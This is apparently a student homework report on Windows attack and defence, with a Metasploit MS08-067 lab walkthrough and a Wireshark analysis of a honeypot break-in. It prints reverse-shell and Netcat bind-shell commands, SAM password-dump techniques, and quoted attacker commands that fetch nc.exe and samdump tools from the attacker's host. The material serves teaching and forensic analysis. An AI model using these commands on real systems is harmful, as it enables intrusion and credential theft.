本次作业属于那个课程 | 《网络攻防实践》 |
---|---|
这个作业要求在哪里 | 第七次作业 Windows操作系统安全攻防 |
作业正文 | 下述正文 |
其他参考文献 | 见文末 |
1.实践内容
Windows操作系统基本框架概述
Windows操作系统的基本机构如下图所示,分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理机非特权模式(ring 3)的用户空间代码。
Windows操作系统内核的基本模块包括如下:
Windows执行体:即Windows内核核心文件ntoskrnl.exe的上层接口,包括基本的操作系统内核服务。
Windows内核体:即Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理机同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。
硬件抽象层:即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码
Windows窗口与图形界面接口内核实现代码:即win 32k.sys文件。
Windows操作系统在用户态的代码模块则包括如下:
系统支持进程:Windows开机自动启动的系统内建服务进程。
环境子系统服务进程:为操作系统运行环境提供支持的服务进程。
服务进程:通过Windows服务管理机制所启动的一系列系统及网络服务。
用户应用软件:在用户态执行的各类用户应用软件。
核心子系统DLL:即kernel32.dll/user32.dll/advapi32.dll等动态连接库文件。
Windows操作系统内核中实现了如下的核心机制:
Windows进程和线程管理机制
Windows文件管理机制
Windows注册表管理机制
Windows网络机制
Windows操作系统的安全体系结构与机制
Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型,支持一台机器上多个用户之间安全地共享进程、内存、设备、文件及网络等各种类型的系统资源,来满足商业用户的安全需求。
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。引用监控器模型是安全操作系统设计的一种经典模型.
基于引用监控器这一经典安全模型,Windows操作系统以下图所示的安全体系结构来设计实现基础的安全机制,其中最为核心的是位于内核的SRM来安全引用监控器,以及位于用户态的LSASS安全服务。
Windows身份认证机制
Windows操作系统以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
Windows身份认证机制实现原理:
Windows授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型,由内核的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
对象安全描述符属性:
1)Owner SID:对象所有者的SID安全标识符
2)Group SID:对象所在基本用户组的SID安全标识符(兼容POSIX使用)。
3)DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象。
4)SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
Windows系统的基本访问控制机制与对象安全模型:
Windows远程安全攻防技术
在攻击者获得Windows系统上的访问立足点之前,他们首先需要通过一些远程攻击技术,来进入到Windows系统中,目前Windows远程攻击技术可以分为以下几大类。
远程口令猜测与破解攻击
攻击Windows网络服务
攻击Windows客户端及用户
Metasploit软件提供了CLI、Console、Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式,可以在终端中输入help命令来查询所支持的各种命令,主要命令及功能描述如下表所示:
使用Metasploit Console终端实施渗透测试的命令如下:
(1)use exploit/windows/dcerpc/ms03_026_dcom,选择针对MS03-026漏洞的渗透攻击模块,在选择前可以使用 show modules列举软件支持的所有渗透攻击模块,或使用search命令来搜索期望的渗透攻击模块;
(2)set PAYLOAD generic/shell_reverse_tcp,选择该渗透攻击模块适用的攻击负载模块,可使用show payloads列举出所有适用的负载模块;
(3)set LHOST 192.168.200.2;setRHOST 192.168.200.124,配置该渗透攻击模块和攻击负载模块所必须配置的参数,可以使用show options来查看当前的参数列表及其默认设置,另外经常需要使用“show targets”和“set TARGET数字”命令来选择渗透攻击模块的目标操作系统平台类型;
(4)exploit,实施渗透攻击过程,如果正确配置相关参数,且目标系统存在相应的漏洞,那么Metasploit将成功破解目标系统,植入并运行攻击负载代码,给出远程控制会话;
(5)在远程控制会话中与目标主机进行交互,可能需要执行“sessions -l”列出当前已建立的远程控制会话,并执行“sessions -i 数字”在指定的攻击控制会话中与远程目标主机进行交互。
Windows本地安全攻防技术
Windows本地特权提升
在攻击者获得Windows系统上的受限用户权限之后,他们讲立即着眼于获得终极特权:Administrator或Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。
Windows敏感信息窃取
在获得Administrator用户权限之后,攻击者通常会继续在系统上收集和窃取一些敏感信息,从而帮助他们扩大战果,在局域网络中攻陷更多的系统。Windows系统中最吸引攻击者的敏感信息首先莫过于本地保存的各种口令字,攻击者一旦破译了这些口令字,他们就很有可能利用这些口令,来尝试登录本地网络或目标用户其他的系统资源。
Windows系统口令字密文提取技术
(1)从另一操作系统启动后拷贝文件系统中的口令密文文件,这需要攻击者对目标系统拥有物理访问权限,能够在物理主机设备上插上可启动光盘或U盘,并重启系统,通过攻击者控制的操作系统对系统磁盘上的密文文件进行获取。这种攻击途径在远程攻击中无法实施。
(2)利用磁盘修复工具包中的rdisk工具,执行“rdisk/s-”命令创建SAM备份文件副本。
(3)使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
Windows系统口令字破解技术
L0phtCrack是一款非常经典的Windows口令破解软件,由著名的L0pht黑客团队出品。L0phtCrack支持多种口令字密文数据格式,包括本地注册表、原始SAM文件、SAM备份文件、网络监听口令字密文、L0phtCrack自主格式、pwdumpX系统输出文件格式等,并综合使用了字典、暴力破解、组合破解和彩虹表等密码破解技术,能够很快恢复出强度比较弱的用户口令字。
另一款著名的口令字破解软件是John the Ripper,但主要用于破解UNIX/Linux系统的口令字,也支持Windows上的口令破解,但其缺陷是只能破解LanMan协议哈希加密的口令,而不支持对NTLM协议加密进行破解。
用户敏感数据窃取
本地敏感信息窃取防范措施
5)Windows消踪灭迹
在攻击者获得Windows系统的Administrator权限,并窃取了他所感兴趣的敏感信息之后,攻击者会想尽一切办法来避免被人觉察他们的存在。他们会把各种入侵的痕迹进行删除或者掩盖,使得系统的用户或管理员无法意识到系统已被攻陷,从而保证攻击者对系统的长期控制。
关闭审计功能
清理事件日志
针对消踪灭迹的防范措施
Windows远程控制与后门程序
攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具这两大类。
命令行远程控制工具
在安全业界具有“瑞士军刀”之称的Netcat工具是攻击者们最常用的命令行远程控制工具,也提供了Windows版本。Netcat可以通过“nc -L -d cmd.exe -p 80 ”命令启动后门服务,监听所配置的TCP80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe,来执行任意的操作。
Windows系统上默认开放的SMB服务也可以提供命令行远程控制,使用来自sysinternal的psexec工具,就可以直接通过SMB服务接口。
Metasploit渗透测试软件中的Meterpreter攻击负载模块也是一个功能非常丰富和强大的命令行远程控制工具。
图形化远程控制工具
VNC、Remote Admin、PCAnyware
针对后门程序的防范措施
针对远程控制后门程序,在一台已经怀疑遭受攻击的Windows系统上,防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件,如Sysinternals的RootkitRevealer、国内的IceSword冰刃等。
实践
实验一:动手实践Metasploit windows attacker
使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
kali(192.168.200.6) win2k(192.168.200.124)
在kali打开metasploit,输入msfconsole,回车后就会进入到他的控制台界面,一只可爱的小兔子。然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
输入search ms08_067
use exploit/windows/smb/ms08_067_netapi
选择攻击负载模块,可以通过输入show payloads,然后找到你要用的攻击负载模块,输入set PAYLOAD 3。然后然后show options,然后配置攻击机和靶机的IP地址 set RHOST 靶机IP set LHOST 攻击机IP
然后输入set TARGET 0设置目标操作系统平台类型
输入exploit开始攻击
然后我们可以发现进入了win2k的cmd界面,我们ipconfig一下发现正确
实践二:解码一次成功的NT系统破解攻击
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
1)攻击者使用了什么破解工具进行攻击
2)攻击者如何使用这个破解工具进入并控制了系统
3)攻击者获得系统访问权限后做了什么
4)我们如何防止这样的攻击
5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
1)首先用wireshark打开那个.log文件。点击 统计-http-请求,可以看到本次攻击的代码
设置限定条件为:ip.addr==172.16.1.106 and http
boot.ini是NT系统的启动文件。而前面的..%c0af..是"/"的Unicode编码
然后我们可以看到攻击者试图向服务器获取一个msadcs.dll文件,执行shell脚本数据为shell ( “cmd /c echo werd >> c : f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击
因此可以得出,攻击者利用了Unicode和msadcs(2).pl工具进行攻击
2)攻击者如何使用这个破解工具进入并控制了系统?
在Wireshark中输入ip.src == 213.116.251.162 && ip.dst == 172.16.1.106 && http.request.method == "POST"进行过滤,得到SQL语言代码,简化处理后得到shell脚本代码
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get samdump .dll >> ftpcom” ) ;
shell ( “cmd /c echo get pdump .exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) |;
shell ( “cmd /c echo quit>>ftpcom” );
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” )
在 179 号数据包追踪 TCP 流,可以看到如下指令,攻击者创建了一个 ftpcom 脚本:
cmd /c echo user johna2k > ftpcom
在 299 号数据包追踪 TCP 流,发现攻击者试图连接至 FTP 服务器 204.42.253.18,但未成功
在1106 号数据包,FTP 连接成功:
查找ftp连接成功以前的指令,得到如下指令:
copy C:winntsystem32cmd.exe cmd1.exe
c echo open 213.116.251.162 >ftpcom
c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom
继续查看到 1224 号数据包,看到攻击者执行了:cmd1.exe /c nc -l -p 6969 -e cmd1.exe,表示攻击者连接了 6969 端口,并且获得了访问权限。
3)攻击者获得系统访问权限后做了什么
筛选 tcp.port == 6969,并追踪 TCP 流:
接着我们可以看到攻击者尝试进入但失败
接着列出了用户
然后发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:
然后删除了许多文件:
使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:
最后离开
4)我们如何防止这样的攻击
升级系统到最新的稳定版本并且要及时更新微软官方的漏洞补丁
5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
在 4351 号数据包,攻击者留下记录:
因此攻击者应该是警觉了目标为一台蜜罐主机
实践三:Windows系统远程渗透攻击与分析
攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;
防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
我们重复实践一的步骤,在运行最后一步exploit时开启wireshark,我们可以看到靶机与攻击机的ip地址,端口信息等
我们可以看到许多SMB协议包,MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的
然后我们输入ipconfig,可以在wireshark中看到追踪流
遇到的问题及解决方法
实践二一开始看不大懂什么意思,参考了同学的博客之后明白了这个实践的含义
自己老是迷迷糊糊记不清靶机IP,导致实践一一开始总是错误,后来才发现把IP记错了一位